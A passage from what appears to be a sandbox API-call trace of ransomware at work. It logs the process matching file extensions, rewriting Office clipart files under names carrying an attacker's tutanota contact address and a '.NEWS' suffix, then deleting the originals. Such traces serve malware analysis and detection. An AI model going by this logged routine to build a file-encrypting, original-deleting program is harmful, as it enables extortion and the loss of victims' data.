(lpString=".xlsx") returned 5 [0179.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0179.571] lstrlenW (lpString=".ppt") returned 4 [0179.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.571] lstrlenW (lpString=".zip") returned 4 [0179.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.572] lstrlenW (lpString=".rar") returned 4 [0179.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.572] lstrlenW (lpString=".bz2") returned 4 [0179.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.572] lstrlenW (lpString=".7z") returned 3 [0179.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.572] lstrlenW (lpString=".dbf") returned 4 [0179.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.572] lstrlenW (lpString=".1cd") returned 4 [0179.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0179.572] lstrlenW (lpString=".jpg") returned 4 [0179.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.572] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.572] lstrlenW (lpString="J0106208.WMF") returned 12 [0179.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.574] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11900) returned 1 [0179.574] CloseHandle (hObject=0x36c) returned 1 [0179.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0179.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.575] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.575] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0179.577] GetLastError () returned 0x0 [0179.577] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0179.580] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0179.581] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.581] WriteFile (in: hFile=0x554, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.581] SetEndOfFile (hFile=0x554) returned 1 [0179.582] CloseHandle (hObject=0x554) returned 1 [0179.582] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.582] SetEndOfFile (hFile=0x36c) returned 1 [0179.586] CloseHandle (hObject=0x36c) returned 1 [0179.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0180.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.091] lstrlenW (lpString=".doc") returned 4 [0180.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.091] lstrlenW (lpString=".docx") returned 5 [0180.091] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0180.091] lstrlenW (lpString=".pdf") returned 4 [0180.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.091] lstrlenW (lpString=".xls") returned 4 [0180.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.091] lstrlenW (lpString=".xlsx") returned 5 [0180.091] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0180.091] lstrlenW (lpString=".ppt") returned 4 [0180.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.091] lstrlenW (lpString=".zip") returned 4 [0180.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.091] lstrlenW (lpString=".rar") returned 4 [0180.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.091] lstrlenW (lpString=".bz2") returned 4 [0180.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.092] lstrlenW (lpString=".7z") returned 3 [0180.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.092] lstrlenW (lpString=".dbf") returned 4 [0180.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.092] lstrlenW (lpString=".1cd") returned 4 [0180.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.092] lstrlenW (lpString=".jpg") returned 4 [0180.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.101] lstrlenW (lpString=".doc") returned 4 [0180.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.102] lstrlenW (lpString=".docx") returned 5 [0180.102] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0180.102] lstrlenW (lpString=".pdf") returned 4 [0180.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.102] lstrlenW (lpString=".xls") returned 4 [0180.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.102] lstrlenW (lpString=".xlsx") returned 5 [0180.102] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0180.102] lstrlenW (lpString=".ppt") returned 4 [0180.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.102] lstrlenW (lpString=".zip") returned 4 [0180.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.102] lstrlenW (lpString=".rar") returned 4 [0180.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.102] lstrlenW (lpString=".bz2") returned 4 [0180.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.103] lstrlenW (lpString=".7z") returned 3 [0180.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.103] lstrlenW (lpString=".dbf") returned 4 [0180.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.103] lstrlenW (lpString=".1cd") returned 4 [0180.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0180.103] lstrlenW (lpString=".jpg") returned 4 [0180.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.103] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.103] lstrlenW (lpString="J0106572.WMF") returned 12 [0180.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.128] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2148) returned 1 [0180.128] CloseHandle (hObject=0x564) returned 1 [0180.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0180.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.129] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.129] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.134] GetLastError () returned 0x0 [0180.134] ReadFile (in: hFile=0x564, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x864, lpOverlapped=0x0) returned 1 [0180.146] WriteFile (in: hFile=0x4e8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x870, lpOverlapped=0x0) returned 1 [0180.148] ReadFile (in: hFile=0x564, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.148] WriteFile (in: hFile=0x4e8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.148] SetEndOfFile (hFile=0x4e8) returned 1 [0180.148] CloseHandle (hObject=0x4e8) returned 1 [0180.148] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] SetEndOfFile (hFile=0x564) returned 1 [0180.170] CloseHandle (hObject=0x564) returned 1 [0180.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0180.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.173] lstrlenW (lpString=".doc") returned 4 [0180.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.173] lstrlenW (lpString=".docx") returned 5 [0180.173] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.173] lstrlenW (lpString=".pdf") returned 4 [0180.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.173] lstrlenW (lpString=".xls") returned 4 [0180.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.173] lstrlenW (lpString=".xlsx") returned 5 [0180.173] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.173] lstrlenW (lpString=".ppt") returned 4 [0180.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.173] lstrlenW (lpString=".zip") returned 4 [0180.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.173] lstrlenW (lpString=".rar") returned 4 [0180.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.173] lstrlenW (lpString=".bz2") returned 4 [0180.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.173] lstrlenW (lpString=".7z") returned 3 [0180.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.174] lstrlenW (lpString=".dbf") returned 4 [0180.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.174] lstrlenW (lpString=".1cd") returned 4 [0180.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.174] lstrlenW (lpString=".jpg") returned 4 [0180.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.174] lstrlenW (lpString=".doc") returned 4 [0180.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.175] lstrlenW (lpString=".docx") returned 5 [0180.175] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.473] lstrlenW (lpString=".pdf") returned 4 [0180.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString=".xls") returned 4 [0180.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.473] lstrlenW (lpString=".xlsx") returned 5 [0180.473] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.473] lstrlenW (lpString=".ppt") returned 4 [0180.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.473] lstrlenW (lpString=".zip") returned 4 [0180.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.473] lstrlenW (lpString=".rar") returned 4 [0180.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString=".bz2") returned 4 [0180.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString=".7z") returned 3 [0180.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.473] lstrlenW (lpString=".dbf") returned 4 [0180.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.473] lstrlenW (lpString=".1cd") returned 4 [0180.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0180.474] lstrlenW (lpString=".jpg") returned 4 [0180.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.474] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.474] lstrlenW (lpString="J0107130.WMF") returned 12 [0180.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0180.813] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=27084) returned 1 [0180.813] CloseHandle (hObject=0x3ec) returned 1 [0180.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0181.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0181.015] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.015] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0181.017] GetLastError () returned 0x0 [0181.018] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x69cc, lpOverlapped=0x0) returned 1 [0181.021] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x69d0, lpOverlapped=0x0) returned 1 [0181.024] ReadFile (in: hFile=0x3c4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.024] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.024] SetEndOfFile (hFile=0x3fc) returned 1 [0181.025] CloseHandle (hObject=0x3fc) returned 1 [0181.025] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.025] SetEndOfFile (hFile=0x3c4) returned 1 [0181.029] CloseHandle (hObject=0x3c4) returned 1 [0181.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0181.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.031] lstrlenW (lpString=".doc") returned 4 [0181.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.032] lstrlenW (lpString=".docx") returned 5 [0181.032] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.032] lstrlenW (lpString=".pdf") returned 4 [0181.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.032] lstrlenW (lpString=".xls") returned 4 [0181.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.032] lstrlenW (lpString=".xlsx") returned 5 [0181.032] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.032] lstrlenW (lpString=".ppt") returned 4 [0181.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.032] lstrlenW (lpString=".zip") returned 4 [0181.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.032] lstrlenW (lpString=".rar") returned 4 [0181.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.033] lstrlenW (lpString=".bz2") returned 4 [0181.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.033] lstrlenW (lpString=".7z") returned 3 [0181.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.033] lstrlenW (lpString=".dbf") returned 4 [0181.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.033] lstrlenW (lpString=".1cd") returned 4 [0181.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.034] lstrlenW (lpString=".jpg") returned 4 [0181.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.034] lstrlenW (lpString=".doc") returned 4 [0181.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.034] lstrlenW (lpString=".docx") returned 5 [0181.034] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.034] lstrlenW (lpString=".pdf") returned 4 [0181.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.034] lstrlenW (lpString=".xls") returned 4 [0181.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.034] lstrlenW (lpString=".xlsx") returned 5 [0181.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.034] lstrlenW (lpString=".ppt") returned 4 [0181.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0181.034] lstrlenW 